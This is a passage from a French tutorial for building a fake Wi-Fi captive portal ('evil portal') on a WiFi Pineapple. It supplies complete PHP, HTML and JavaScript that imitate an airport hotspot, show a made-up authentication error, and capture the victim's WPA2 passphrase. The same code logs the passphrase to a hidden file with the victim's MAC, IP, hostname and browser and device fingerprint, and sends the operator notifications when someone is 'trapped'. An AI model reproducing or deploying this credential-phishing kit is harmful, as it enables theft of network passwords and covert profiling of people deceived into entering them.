<input type="checkbox" class="form-check-input" id="ACLAllow" name="ACLAllow" value="0"> - C'est ici que nous avons ajouté une case à cocher avec la classe form-check-input avec l'id et le nom ACLAllow pour le ciblage avec une fonction JS plus tard. Nous avons également fixé la valeur à 0 (ce qui signifie que la case n'est pas cochée par défaut).

<label class="form-check-label" for="ACLAllow">Add MAC to ALC Allow List</label> - Il s'agit de l'étiquette de la case à cocher ACLAllow, qui affiche le message à droite de la case à cocher.

                           <div id="loading-message" class="text-center mt-3 mb-3 font-weight-bold"></div> <input type="hidden" name="ssid" value="< ?=getClientSSID($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="hostname" value="<?=getClientHostName($_SERVER['REMOTE_ADDR']); ?>"> <input type="hidden" name="mac" value="<?=getClientMac($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="ip" value="< ?=$_SERVER['REMOTE_ADDR'];?>"> <input type="hidden" name="useragent" value="<?= htmlspecialchars($_SERVER['HTTP_USER_AGENT']) ; ?>"> <input type="hidden" id="SR" name="SR" value=""> <input type="hidden" id="OS" name="OS" value=""> <input type="hidden" id="WB" name="WB" value=""> <input type="hidden" id="WB" name="WB" value=""> <input type="hidden" id="WB" name="WB" value=">
                            <input type="hidden" id="AT" name="AT" value=""> <input type="hidden" id="CC" name="CC" value=""> <script type="text/javascript">GSR() ; GOS() ; GWB() ; GAT() ; GCC();</script>
                            <button type="submit" class="btn btn-orange btn-block text-white">Login</button> <div class="form-group form-check text-left mt-2"> <input type="checkbox" class="form-check-input" id="ACLAllow" name="ACLAllow" value="0"> <label class="form-check-label" for="ACLAllow">Add MAC to ALC Allow List</label> </div> </form>

Passons maintenant à la dernière partie du fichier default.php :

<p class="text-left small text-muted mt-4 d-flex justify-content-between align-items-center">STATUS : ERR_FAILED_AUTH - Ici, nous utilisons un élément de paragraphe pour afficher un faux message d'erreur à l'utilisateur. Nous utilisons les options de style text-left, small, text-muted, mt-4, d-flex, justify-content-between et align-items-center.

<p class="text-left small text-muted d-flex justify-content-between align-items-center">Client MAC : <?=getClientMac($_SERVER['REMOTE_ADDR']);?> - Ici, nous utilisons un élément paragraphe pour appeler la fonction PHP dans helper.php afin d'obtenir et d'afficher l'adresse MAC du client. Nous utilisons les options de style text-left, small, text-muted, d-flex, justify-content-between et align-items-center.

<a href="#" class="popover-link" data-container="body" data-html="true" data-toggle="popover" data-placement="top" data-content="MESSAGE" title="ERR_FAILED_AUTH" data-trigger="focus" tabindex="0">Pourquoi cela est-il arrivé ?</a> - Nous utilisons ici un élément d'ancrage qui sert de lien cliquable pour afficher un popover/une info-bulle contenant un texte "utile". Nous utilisons # comme attribut href pour que le lien n'aille nulle part. Nous utilisons notre propre nom de classe personnalisé "popover-link" afin de ne pas le confondre avec le popover HTML, nous le ciblons pour qu'il ne centre pas la page lorsqu'il est cliqué. Nous utilisons également data-container, data-html, data-toggle, data-placement, data-content, un titre, data-trigger et tabindex.

                       <p class="text-left small text-muted mt-4 d-flex justify-content-between align-items-center"> STATUS : ERR_FAILED_AUTH <p class="text-left small text-muted d-flex justify-content-between align-items-center"> MAC du client : < ?=getClientMac($_SERVER['REMOTE_ADDR']);?> <a href="#" class="popover-link" data-container="body" data-html="true" data-toggle="popover" data-placement="top" data-content="Ceci est dû aux paramètres de la liste de contrôle d'accès (ACL) implémentés sur le point d'accès sans fil. Les appareils doivent donc s'authentifier à nouveau, ce qui interroge la liste de contrôle d'accès du point d'accès. Si votre appareil est autorisé à accéder à ce réseau, son MAC sera autorisé lors de la réauthentification via le portail captif intégré de ce point d'accès sans fil. C'est pourquoi vous voyez ce message." title="ERR_FAILED_AUTH" data-trigger="focus" tabindex="0">Pourquoi cela s'est-il produit ?</a> </p> </p> </div> </div> </div> </div> </body> </html>

Nous devrions maintenant avoir un default.php qui ressemble à ceci.

Default.php Résultat :

<?php $destination = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . "" ; require_once('helper.php') ; require_once('visited.php') ; header("Cache-Control : no-store, no-cache, must-revalidate") ; header("Pragma : no-cache") ; header("Expires : 0") ; $essid = "Airport WiFi 6" ; ?> <iframe name="login" id="login" style="display : none ;"></iframe> < !DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <link rel="stylesheet" href="/css/bootstrap-4.3.1.min.css"> <link rel="stylesheet" href="/css/bootstrap-icons.css"> <script type="text/javascript" src="/js/jquery-3.7.1.min.js"></script> <script type="text/javascript" src="/js/bootstrap.bundle.min.js"></script> <link rel="stylesheet" href="/fr/style.css"> <script type="text/javascript" src="/func.js"></script> <title>< ?= $essid ?></title> </head> <body> <div class="container mt-5"> <div class="form-row justify-content-center"> <div class="col-md-6"> <div class="card rounded-lg border-light shadow"> <div class="card-body text-center"> <img src="airport-logo.png" class="img-fluid mb-3" style="max-width : 200 ; max-height : 100px ; object-fit : contain ;"> <h3 class="card-title text-center"><?= $essid ; ?></h3> <p class="text-center small mb-5">Il semble que vous deviez être autorisé à utiliser ce point d'accès sans fil.</p> <form method="POST" action="/captiveportal/index.php" onsubmit="submitForm()" target="login" id="loginForm"> <div class="form-group text-left mb-4"> <label for="password">Passphrase :</label> <div class="input-group"> <input type="password" class="form-control" id="password" name="password" placeholder="WPA2 Passphrase" autocomplete="current-password" required> <div class="input-group-append"> <span class="input-group-text"> <span class="input-group-text"> <i id="showPasswordIcon" class="bi bi-eye-fill" onclick="togglePassword()"></i> </span> </div> </div> </div>
                            </div> <div id="loading-message" class="text-center mt-3 mb-3 font-weight-bold"></div> <input type="hidden" name="ssid" value="< ?=getClientSSID($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="hostname" value="<?=getClientHostName($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="mac" value="< ?=getClientMac($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="ip" value="<?=$_SERVER['REMOTE_ADDR'];?>"> <input type="hidden" name="useragent" value="<?= htmlspecialchars($_SERVER['HTTP_USER_AGENT']) ; ?>"> <input type="hidden" id="SR" name="SR" value=""> <input type="hidden" id="OS" name="OS" value=""> <input type="hidden" id="WB" name="WB" value=""> <input type="hidden" id="AT" name="AT" value=""> <input type="hidden" id="AT" name="AT" value="">
                            <input type="hidden" id="CC" name="CC" value=""> <script type="text/javascript">GSR() ; GOS() ; GWB() ; GAT() ; GCC();</script> <button type="submit" class="btn btn-orange btn-block text-white">Connexion</button> <div class="form-group form-check text-left mt-2"> <input type="checkbox" class="form-check-input" id="ACLAllow" name="ACLAllow" value="0"> <label class="form-check-label" for="ACLAllow"> Ajouter un MAC à la liste d'autorisation de l'ALC</strong>.Ajouter un MAC à la liste d'autorisation de la SLA</label> </div> </form> <p class="text-left small text-muted mt-4 d-flex justify-content-between align-items-center"> STATUS : ERR_FAILED_AUTH <p class="text-left small text-muted d-flex justify-content-between align-items-center"> MAC client : < ?=getClientMac($_SERVER['REMOTE_ADDR']);?> <a href="#" class="popover-link" data-container="body" data-html="true" data-toggle="popover" data-placement="top" data-content="Ceci est dû aux paramètres de la liste de contrôle d'accès (ACL) implémentés sur le point d'accès sans fil. Les appareils doivent donc s'authentifier à nouveau, ce qui interroge la liste de contrôle d'accès du point d'accès. Si votre appareil est autorisé à accéder à ce réseau, son MAC sera autorisé lors de la réauthentification via le portail captif intégré de ce point d'accès sans fil. C'est pourquoi vous voyez ce message." title="ERR_FAILED_AUTH" data-trigger="focus" tabindex="0">Pourquoi cela s'est-il produit ?</a> </p> </p> </div> </div> </div> </div> </body> </html>

MonPortail.php

Tout d'abord, nous voulons utiliser les notifications de l'interface WebUI afin de pouvoir les voir depuis l'interface web de Pineapples. Pour ce faire, nous devons modifier le fichier MyPortal.php et remplacer son contenu par ceci. Les crédits pour cette modification vont à Alex-Sesh. Je l'ai simplement étendu un peu plus.

Je vais décomposer un peu ce qui se passe ici.

namespace evilportal ; - Lesespaces de noms en PHP sont un moyen d'organiser et d'encapsuler le code, ce qui permet d'éviter les collisions de noms et de raccourcir (alias) les noms longs pour une meilleure lisibilité.

class MyPortal{ } - Cette classe encapsule les définitions des propriétés (variables), des méthodes (fonctions) et des constantes, fournissant une structure pour la création d'objets en PHP. Dans notre cas, elle étend une autre classe appelée Portal (voir ci-dessous).

extends Portal - Le mot-clé extends permet à la classe enfant (MyPortal dans notre code) d'hériter de toutes les propriétés et méthodes publiques d'une autre classe parent (Portal dans notre cas). Cela permet également à la classe enfant de surcharger ou d'étendre les propriétés héritées.

public function handleAuthorization() - Ceci déclare une nouvelle méthode publique (fonction) à utiliser appelée "handleAuthorization".

if (isset($_POST['email'])) - Cette instruction if utilise la fonction PHP isset qui vérifie qu'une variable est définie et qu'elle n'est pas nulle. Elle utilise ensuite la variable PHP superglobale POST qui permet de capturer les données soumises par le formulaire en utilisant l'index du tableau "email". Ensemble, cette ligne vérifie si la requête post a la clé "email" définie et si c'est le cas, elle exécute le reste du code.

$email, $pwd, $mac, $ip, $hostname, $ssid, useragent, screenres, operatingsystem, webbrowser, architecture, cpucores - Ces variables fonctionnent de la même manière que les autres, elles utilisent la fonction set ainsi que l'opérateur ternaire qui vérifie qu'une valeur est définie et qu'elle n'est pas nulle et, si c'est le cas, elle attribue une valeur par défaut inconnue.

$reflector = new \ReflectionClass(get_class($this)) ; - L'objet "reflector" crée une ReflectionClass pour l'instance de classe courante "this". L'objet "reflector" crée une ReflectionClass pour l'instance de classe courante "this". En utilisant get_class, il obtient le nom de la classe courante et le reflète dans l'objet.

$logPath = dirname($reflector->getFileName()) ; - Ceci récupère le répertoire avec dirname et le nom de fichier getFileName de l'objet de classe réfléchie "reflector", qui est ensuite stocké en tant que valeur de "logPath".

$currentDate = date('Y-m-d H:i:s') ; - Ceci appelle la commande date et la stocke comme valeur de "currentDate".

$logContent = <<<EOD - C'est ce qu'on appelle Heredoc. Cela nous permet essentiellement de formater le fichier journal dans le script pour qu'il apparaisse exactement comme nous le souhaitons dans le fichier journal. Nous utilisons "EOD ;" pour terminer la ligne, c'est ce qu'on appelle "End of Data" (fin des données), similaire à "End of File" (fin du fichier), vous comprendrez un peu mieux en lisant ce qui suit.

file_put_contents("{$logPath}/.logs", $logContent, FILE_APPEND) ; - Ceci utilise file_put_contents pour ajouter le "logContent" au fichier ".logs" situé à "logPath".

$this->execBackground("pineutil notify 0 'Password : $pwd for MAC : $mac'") ; - Ceci utilise une méthode personnalisée "execBackground" dans Portal.php qui permet au script d'exécuter une commande en arrière-plan. Cette méthode utilise "exec" pour "faire écho" à la commande fournie et l'achemine vers "at now", qui planifie l'exécution de la tâche sans attendre la fin du script. Ceci exécute la commande "pineutil notify 0" pour envoyer la notification à l'interface WebUI avec les valeurs de mac et pwd.

parent::handleAuthorization(); - Ceci appelle la méthode handleAuthorization de Portal.php pour gérer l'autorisation en premier. Cette méthode vérifie si l'adresse IP du client est autorisée et si le paramètre target existe dans la requête. Si c'est le cas, cette méthode appelle une fonction redirect() pour gérer la redirection.

parent::onSuccess() ; - Ceci appelle la méthode "onSuccess()" qui demande qu'une action soit prise lorsque le client est autorisé avec succès.

parent::showError() ; - Ceci affiche un message d'erreur si le client n'est pas autorisé, bien que nous puissions remplacer ce message si nous le souhaitons.

Nous avons commenté la ligne "email" et modifié l'instruction if initiale de "email" à "password" car nous n'utilisons qu'un seul champ de mot de passe dans notre portail.

Nous voulons maintenant remplacer les lignes suivantes dans la page MyPortal.php :

   public function handleAuthorization() { // gérer l'entrée du formulaire ou d'autres choses supplémentaires ici

Remplacer par :

   public function handleAuthorization() { if (isset($_POST['password'])) { // $email = isset($_POST['email']) ? $_POST['email'] : 'email' ; $pwd = isset($_POST['password']) ? $_POST['password'] : 'password' ; $hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'hostname' ; $mac = isset($_POST['mac']) ? $_POST['mac'] : 'mac' ; $ip = isset($_POST['ip']) ? $_POST['ip'] : 'ip' ; $ssid = isset($_POST['ssid']) ? $_POST['ssid'] : 'ssid' ; $useragent = isset($_POST['useragent']) ? $_POST['useragent'] : 'unknown' ; $screenres = isset($_POST['SR']) ? $_POST['SR'] : 'unknown' ; $operatingsystem = isset($_POST['OS']) ? $_POST['OS'] : 'unknown' ; $webbrowser = isset($_POST['WB']) ? $_POST['WB'] : 'unknown' ; $architecture = isset($_POST['AT']) ? $_POST['AT'] : 'unknown' ; $cpucores = isset($_POST['CC']) ? $_POST['CC'] : 'unknown' ; $reflector = new \ReflectionClass(get_class($this)) ; $logPath = dirname($reflector->getFileName()) ; // Nouvelle variable pour la commande date $currentDate = date('Y-m-d H :i:s') ; // Utilisation de heredoc pour le contenu multiligne $logContent = <<<EOD [$currentDate] SSID : {$ssid} Password : {$pwd} Hostname : {$hostname} MAC : {$mac} IP : {$ip} User Agent : {$useragent} Résolution d'écran : {$screenres} OS : {$operatingsystem} CPU Cores : {$cpucores} Arch : {$architecture} Navigateur web : {$webbrowser} EOD ; file_put_contents("{$logPath}/.logs", $logContent, FILE_APPEND) ; $this->execBackground("pineutil notify 0 'Password : $pwd for MAC : $mac'") ; }.

Création de Visited.php :

Ici, je voulais créer un script php que nous pouvons inclure dans notre page default.php et qui nous donne une notification lorsque nous avons piégé quelqu'un pour voir notre page de portail captif. Ce script utilise l'IP actuelle de l'utilisateur assignée par l'ananas et la hashe avec md5 qui est utilisé pour créer un nouveau fichier dans le répertoire temp, ceci pour s'assurer que la commande "pineutil notify" ne se déclenche pas pour chaque requête GET subséquente que la page web fait (pour des choses comme des images ou des fichiers css et js externes).

Comme précédemment, je vais décomposer ce qui se passe :

<?php - Le début de notre script php.

$ip = $_SERVER['REMOTE_ADDR'] ; - Ici nous obtenons l'adresse IP de l'utilisateur connecté en utilisant la superglobale PHP $_SERVER avec "REMOTE_ADDR".

$mac = getClientMac($_SERVER['REMOTE_ADDR']) ; - Comme ci-dessus, nous obtenons l'adresse mac du client, c'est une fonction déjà définie dans la page helper.php qui est incluse dans notre default.php et qui a donc accès à la fonction.

$ssid = getClientSSID($_SERVER['REMOTE_ADDR']) ; - C'est la même chose que ci-dessus mais pour le SSID.

$hostname = getClientHostName($_SERVER['REMOTE_ADDR']) ; - C'est la même chose que ci-dessus mais pour le nom d'hôte.

$ua = htmlspecialchars($_SERVER['HTTP_USER_AGENT']) ; - C'est la même chose que ci-dessus mais on utilise "htmlspecialchars" pour assainir l'agent utilisateur afin d'éviter que quelqu'un n'essaie de l'altérer.

$flag_directory = '/tmp/airport_page_visited_' ; - Ici, nous définissons le nouveau fichier à créer sans l'extension.

$flag_file = $flag_directory . md5($ip) . '.txt' ; - C'est ici que nous effectuons la concaténation de "flag_directory" + "md5($ip)" + ".txt". + ".txt" pour finalement produire un fichier comme airport_page_visited_MD5SUM.txt.

if ($_SERVER['REQUEST_METHOD'] === 'GET') { - Ici, nous utilisons une instruction if pour vérifier que la méthode de requête est "GET", ce qui sera le cas lors de la première visite de la page.

if (!file_exists($flag_file)) { - Ici, nous vérifions à l'aide d'un opérateur logique NOT que le fichier "flag_file" n'existe pas.

file_put_contents($flag_file, '') ; - Nous utilisons ensuite "file_put_contents" pour créer le fichier sans données.

exec("pineutil notify 0 'Portail visité - IP : $ip / MAC : $mac / ssid : $ssid / hostname : $hostname / UA : $ua'") ; - Nous exécutons ensuite la commande "pineutil notify" avec notre message, et toutes les variables définies. Vous pouvez ajuster ceci, ce que je vous suggère de faire, mais les plus importantes sont MAC et UA.

< ?php // Obtenir l'adresse IP de l'utilisateur $ip = $_SERVER['REMOTE_ADDR'] ; // Obtenir l'adresse MAC de l'utilisateur $mac = getClientMac($_SERVER['REMOTE_ADDR']) ; // Obtenir le SSID de l'utilisateur $ssid = getClientSSID($_SERVER['REMOTE_ADDR']) ; // Obtenir le nom d'hôte de l'utilisateur $hostname = getClientHostName($_SERVER['REMOTE_ADDR']) ;
// Obtient l'agent utilisateur $ua = htmlspecialchars($_SERVER['HTTP_USER_AGENT']) ; // Définit le chemin du répertoire pour stocker les fichiers de drapeaux $flag_directory = '/tmp/airport_page_visited_' ; // Définit le chemin du fichier de drapeaux pour le client $flag_file = $flag_directory . md5($ip) . '.txt' ; // Vérifier si la page est accessible via une requête HTTP GET if ($_SERVER['REQUEST_METHOD'] === 'GET') { // Vérifier si le fichier de drapeaux existe pour le client if ( !file_exists($flag_file)) { // Créer le fichier de drapeaux pour indiquer que la commande a été exécutée pour ce client file_put_contents($flag_file, '') ; // Exécuter la commande avec les variables suivantes exec("pineutil notify 0 'Portail visité - IP : $ip / MAC : $mac / ssid : $ssid / hostname : $hostname / UA : $ua'") ; } } ?>

Création du fichier Style.css

Ici, nous allons créer notre fichier de style pour styliser certains de nos éléments, je vais décomposer ce qui se passe ici.

html, body { - Ceci sélectionne l'élément enfant "body" à l'intérieur des balises "html".

height : 100% ; - Nous fixons ici la hauteur du corps à 100%.

margin : 0 ; - Nous fixons ensuite la marge du corps html à 0, ce qui est la valeur par défaut et s'applique aux quatre côtés de l'élément.

padding : 0 ; - Nous fixons ici le padding du body html à 0, ce qui est également la valeur par défaut.

body::before { - Nous utilisons ici "::before" qui crée un pseudo-élément, utilisé pour styliser un élément avec la propriété "content".

content : "" ; - Nous définissons ici le contenu qui remplace la valeur actuelle de "content", dans notre cas nous n'ajoutons rien.

position : fixed ; - Nous définissons ici la position de l'élément comme étant fixe.

top : 0 ; - Nous fixons ici la position du haut à 0.

left : 0 ; - Nous fixons ensuite la position gauche à 0.

width : 100% ; - Nous fixons ensuite la largeur à 100% de la largeur de l'élément.

height : 100% ; - Nous fixons ensuite la hauteur à 100% de la largeur de l'élément.

z-index : -1 ; - Nous utilisons ensuite l'indice z pour superposer l'élément aux autres éléments (tels que les images d'arrière-plan).

background-image : url('splash.png') ; - Nous définissons ici l'emplacement de l'image d'arrière-plan à utiliser sur les pages.

background-size : cover ; - Nous fixons ensuite la taille de l'arrière-plan à cover pour mettre l'image à l'échelle tout en préservant ses proportions.

background-position : center ; - Nous fixons ici la position de l'arrière-plan au centre.

filter : blur(0px) ; - Nous définissons ici le filtre pour appliquer des effets de style à un élément, tels que le flou, mais il existe d'autres fonctions de filtre de style avec lesquelles vous pouvez également jouer. Nous n'ajoutons pas de flou ici, mais il serait intéressant de le faire !

.container { - Nous sélectionnons ici l'élément avec la classe container.

position : relative ; - Nous définissons ici la position comme relative.

z-index : 1 ; - Nous utilisons à nouveau le z-index avec la valeur 1 pour placer l'élément au-dessus d'autres éléments.

.btn-orange { - Nous sélectionnons ici l'élément avec la classe btn-orange, le -orange étant un nom personnalisé.

background-color : orange ; - Nous définissons ensuite la couleur d'arrière-plan sur orange.

border-color : orange ; - Nous fixons également la couleur de la bordure à l'orange.

transition : filter 0.3s ; - Nous définissons ici un effet de transition de type filter et une valeur de 0.3s.

.btn-orange:hover, - Nous réglons ensuite le btn-orange sur hover, ce qui se déclenchera lorsque l'utilisateur le survolera avec sa souris.

.btn-orange:focus { - Nous utilisons ensuite focus qui donne à un élément le focus lorsqu'il y a interaction (comme lorsque l'utilisateur clique pour taper dans la boîte de saisie par exemple).

filter : brightness(1.2) ; - Nous utilisons ensuite filter pour définir la luminosité lorsque le bouton reçoit le focus, ce qui le rend plus lumineux.

.btn-orange:active { - Ici, nous définissons le btn-orange comme étant actif, ce qui se déclenche généralement lorsque l'utilisateur clique sur le bouton tout en maintenant le clic de la souris enfoncé, mais s'arrête lorsque la souris est relâchée.

filter : brightness(0.8) ; - Ici, nous définissons le bouton lorsqu'il est actif pour modifier sa luminosité en la réduisant à 0,8.

.text-white { - Nous sélectionnons ici tous les éléments de la classe text-white.

color : white ; - Nous définissons ensuite la couleur des éléments sur blanc.

.card { - Nous sélectionnons ici tous les éléments dont la classe est card.

width : 100% ; - Nous fixons ensuite la largeur de la carte à 100%.

/* styles.css */ html, body { height : 100% ; margin : 0 ; padding : 0 ; } body::before { content : "" ; position : fixed ; top : 0 ; left : 0 ; width : 100% ; height : 100% ; z-index : -1 ; background-image : url('splash.png') ; /* Remplacer par le chemin de votre image */ background-size : cover ; background-position : center ; filter : blur(0px) ; /* Facultatif : Appliquez un effet de flou à l'arrière-plan */ } .container { position : relative ; z-index : 1 ; } .btn-orange { background-color : orange ; /* Réglez la couleur par défaut sur l'orange de votre choix */ border-color : orange ; /* Ajustez la couleur de la bordure en conséquence */ transition : filter 0.3s ; /* Ajoutez un effet de transition en douceur */ } .btn-orange:hover, .btn-orange:focus { filter : brightness(1.2) ; /* Augmentation de la luminosité au survol et au focus */ } .btn-orange:active { filter : brightness(0.8) ; /* Diminution de la luminosité lorsque l'élément est actif (cliqué) */ } .text-white { color : white ; } .card { width : 100% ; }

Création de func.js

Ensuite, nous allons créer le fichier de fonction qui va contenir à peu près tout ce qu'il y a à faire.

Redirect :

function redirect() { - Nous déclarons ici une nouvelle fonction appelée redirect.

**setTimeout(function () { - Nous utilisons ensuite la fonction setTimeout.

var ACLAllowChecked = $('#ACLAllow').prop('checked'); - Nous définissons ici une nouvelle variable "ACLAllowedChecked" qui utilise un sélecteur pour sélectionner notre élément ACLAllow (notre case à cocher), qui utilise ensuite JQuery prop pour changer l'état de la case à cocher en "checked".

var redirectURL = "/checking.php" + (ACLAllowChecked ? '?ACLAllow=1' : '') ; - Nous définissons ici une nouvelle variable appelée redirectURL, qui fixe une valeur par défaut à "/checking.php" et utilise l'addition pour concaténer le paramètre à la redirectURL (si la vérification ultérieure est vraie), puis utilise un opérateur ternaire pour vérifier que "ACLAllowChecked" est en fait "checked". Si c'est le cas, la valeur ACLAllow=1, concaténée au préalable, est définie. Si ce n'est pas le cas, la valeur est mise à zéro en utilisant deux guillemets simples ''.

window.location = redirectURL ; - Ici, nous utilisons window.location et définissons la valeur de la variable redirectURL.

}, 1000) ; - C'est le temps qu'il faut attendre avant d'exécuter le code dans la fonction "setTimeout". Cette valeur est exprimée en millisecondes.

function redirect() { setTimeout(function () { // Vérifier si la case est cochée var ACLAllowChecked = $('#ACLAllow').prop('checked') ; // Inclure le paramètre ACLAllow dans l'URL de redirection var redirectURL = "/checking.php" + (ACLAllowChecked ? '?ACLAllow=1' : '') ; window.location = redirectURL ; }, 1000) ; }

GoBack :

GoBack() - Cette fonction est assez simple, elle utilise la fonction setTimeout pour retarder le changement de page en utilisant window.location vers /default.php après 100ms.

function GoBack() { setTimeout(function () { window.location = "/default.php" ; }, 100) ; }

runTest :

function runTest() { - Comme précédemment, nous déclarons une nouvelle fonction "runTest".

var password = document.getElementById('password').value ; - Ici nous utilisons document.getElementById pour retourner et stocker la valeur du mot de passe.

var xhr = new XMLHttpRequest() ; - Nous définissons ensuite une nouvelle variable "xhr" qui crée un nouveau XMLHttpRequest.

xhr.open('POST', '/run_test.php', true) ; - Nous utilisons ensuite xhr.open, pour initialiser notre requête XHR nouvellement créée dont nous définissons ensuite la méthode, l'URL suivie de l'async.

xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded') ; - Nous utilisons ensuite setRequestHeader avec l'en-tête Content-Type et le type MIME de la requête "application/x-www-form-urlencoded".

xhr.setRequestHeader('Cache-Control', 'no-store, no-cache, must-revalidate') ; - Ici, comme précédemment, nous définissons les en-têtes de contrôle du cache avec leurs directives.

xhr.setRequestHeader('Pragma', 'no-cache') ; - Ici, nous définissons à nouveau l'en-tête Pragma.

xhr.setRequestHeader('Expires', '0') ; - Suivi de l'en-tête Expires. De la même manière que nous l'avons fait en php dans la page default.php.

var responseText = xhr.responseText.trim(); - Nous définissons ici une nouvelle variable "responseText" en utilisant xhr responseText et trim pour supprimer les espaces blancs que nous ajoutons dans run_test.php pour nous assurer qu'aucune sortie n'est fournie à la console.log. La raison en est qu'avec une valeur nulle, il y a toujours une sortie "chaîne vide" sur la console et je voulais l'éliminer complètement.

if (responseText !== "") { - Nous utilisons ensuite une instruction if pour vérifier que "responseText", en utilisant l'inégalité stricte, n'est pas égal à blank ou null.

console.log(responseText) ; - Si l'énoncé ci-dessus est vrai, ce qui sera le cas en raison de l'espace blanc intentionnel dans run_test.php, la sortie de responseText sera affichée dans la console.log, dans notre cas, il n'y aura pas de sortie dans la console.log pour cela.

xhr.send('password=' + encodeURIComponent(password)) ; - Enfin, nous utilisons xhr.send pour envoyer le paramètre de corps "password=" et l'ajout de encodeURIComponent pour s'assurer que les caractères spéciaux sont remplacés dans la requête.

function runTest() { var password = document.getElementById('password').value ; var xhr = new XMLHttpRequest() ; xhr.open('POST', '/run_test.php', true) ; xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded') ; xhr.setRequestHeader('Cache-Control', 'no-store, no-cache, must-revalidate') ; xhr.setRequestHeader('Pragma', 'no-cache') ; xhr.setRequestHeader('Expires', '0') ; xhr.onreadystatechange = function () { if (xhr.readyState === 4 && xhr.status === 200) { var responseText = xhr.responseText.trim() ; if (responseText !== "") { console.log(responseText) ; } // Vous pouvez ajouter d'autres manipulations si nécessaire } } ; xhr.send('password=' + encodeURIComponent(password)) ; }

submitForm :

function submitForm() { - Ici, comme précédemment, nous définissons une nouvelle fonction submitForm.

$('#loading-message').text('Logging in, please wait...') ; - Ici nous utilisons un sélecteur JQuery en utilisant "#loading-message" ceci sélectionne tous les éléments avec l'"id" comme "loading-message", il utilise ensuite du texte pour afficher le message de chargement.

runTest() ; - Ceci exécute la fonction runTest avant le délai.

setTimeout(function () { - Nous utilisons à nouveau la fonction setTimeout pour retarder l'exécution de la fonction de redirection.

$('#loading-message').text('') ; - Cette fonction utilise à nouveau le sélecteur JQuery pour supprimer l'élément div loading-message. En fait, il disparaît.

redirect(); - Ceci exécute ensuite la fonction de redirection.

}, 2000) ; - Durée pendant laquelle setTimeout doit attendre avant d'exécuter le code de sa fonction.

return true ; - Ici, nous utilisons return true pour permettre au formulaire d'être soumis.

function submitForm() { // Afficher un message de chargement lorsque le formulaire est soumis $('#loading-message').text('Logging in, please wait...') ; // Exécuter le Runtest immédiatement runTest() ; // Retarder l'exécution de la fonction de redirection // Si vous ajustez trop vite, vous pourriez obtenir // un mot de passe incorrect sur une entrée correcte setTimeout(function () { $('#loading-message').text('') ; redirect() ; }, 2000) ; return true ; }

togglePassword :

function togglePassword() { - Comme précédemment, nous définissons une nouvelle fonction "togglePassword".

var passwordField = document.getElementById("password") ; - Nous définissons ici une nouvelle variable et utilisons "document.getElementById" pour définir la variable "passwordField" afin de sélectionner l'élément avec le mot de passe "id".

var icon = document.getElementById("showPasswordIcon") ; - Nous définissons ici une nouvelle variable, en utilisant également "document.getElementById" pour sélectionner les éléments avec l'"id" showPasswordIcon.

if (passwordField.type === "password") { - Nous utilisons ici une instruction if pour vérifier le type de PasswordFields en utilisant Strict Equality égal à l'id de password.

passwordField.type = "text" ; - Ceci définit le "type" du champ de mot de passe comme un champ de texte normal (ce qui donne de la visibilité au mot de passe).

icon.className = "bi-eye-slash-fill" ; - Ceci utilise className pour changer l'icône en bi-eye-slash-fill.

else { - L'instruction else signifie ici que si l'instruction if ci-dessus est égale à false, le code suivant est exécuté.

passwordField.type = "password" ; - Ceci redéfinit le "type" de l'élément idiomatique en "password", cachant le mot de passe en clair.

icon.className = "bi bi-eye-fill" ; - Ceci rétablit la "classe" de l'élément idiomatique à l'icône "bi bi-eye-fill".

function togglePassword() { var passwordField = document.getElementById("password") ; var icon = document.getElementById("showPasswordIcon") ; if (passwordField.type === "password") { passwordField.type = "text" ; icon.className = "bi-eye-slash-fill" ; } else { passwordField.type = "password" ; icon.className = "bi-eye-fill" ; } }

GSR (Get screen Resolution) :

function GSR() { - Nous commençons par définir notre fonction appelée "GSR".

var screenWidth = window.screen.width ; - Nous définissons ici une variable screenWidth avec la propriété screen.width, une propriété en lecture seule qui renvoie la largeur de l'écran en pixels CSS.

var screenHeight = window.screen.height ; - Nous définissons ici la variable screenHeight avec la propriété screen.height, tout comme la ligne précédente, qui renvoie la hauteur de l'écran en pixels CSS.

var resolution = screenWidth + "x" + screenHeight ; - Nous définissons ici une autre variable resolution qui utilise simplement l'addition pour concaténer screenWidth et screenHeight.

document.getElementById("SR").value = resolution ; - Cela permet de définir la valeur de l'élément d'entrée caché qui a l'identifiant "SR" avec la valeur des variables de résolution, prête à être utilisée lorsque l'utilisateur saisit un mot de passe.

function GSR() { var screenWidth = window.screen.width ; var screenHeight = window.screen.height ; var resolution = screenWidth + "x" + screenHeight ; // Fixe la valeur du champ de saisie caché avec la résolution de l'écran document.getElementById("SR").value = resolution ; }

GOS (Get Operating System) :

function GOS() { - Nous définissons ici une nouvelle fonction "GOS".

var userAgent = navigator.userAgent ; - Nous définissons ici une nouvelle variable à utiliser, appelée "userAgent", qui utilise l'objet navigateur avec la propriété userAgent pour obtenir et stocker l'agent utilisateur.

var operatingSystem ; - Nous définissons ici une nouvelle variable operatingSystem.

if (userAgent.includes("Windows NT 10.0")) operatingSystem = "Windows 10/11" ; - Nous utilisons ici une instruction if et la méthode includes qui nous permet de déterminer si un tableau contient une certaine valeur. Les quelques lignes suivantes sont très similaires. Elles sont utilisées pour tenter de retrouver le système d'exploitation de la cible (Windows 10/11) à l'aide de l'agent utilisateur.

else if (userAgent.includes("Windows NT 6.3")) operatingSystem = "Windows 8.1" ; - Ici, nous utilisons une instruction else if pour vérifier si l'agent utilisateur contient "Windows NT 6.3", si c'est le cas, nous définissons la variable operatingSystem à "Windows 8.1".

else if (userAgent.includes("Windows NT 6.2")) operatingSystem = "Windows 8" ; - Nous utilisons ici une instruction else if pour vérifier si l'agent utilisateur contient "Windows NT 6.2" ; si c'est le cas, nous attribuons la valeur "Windows 8" à la variable operatingSystem.

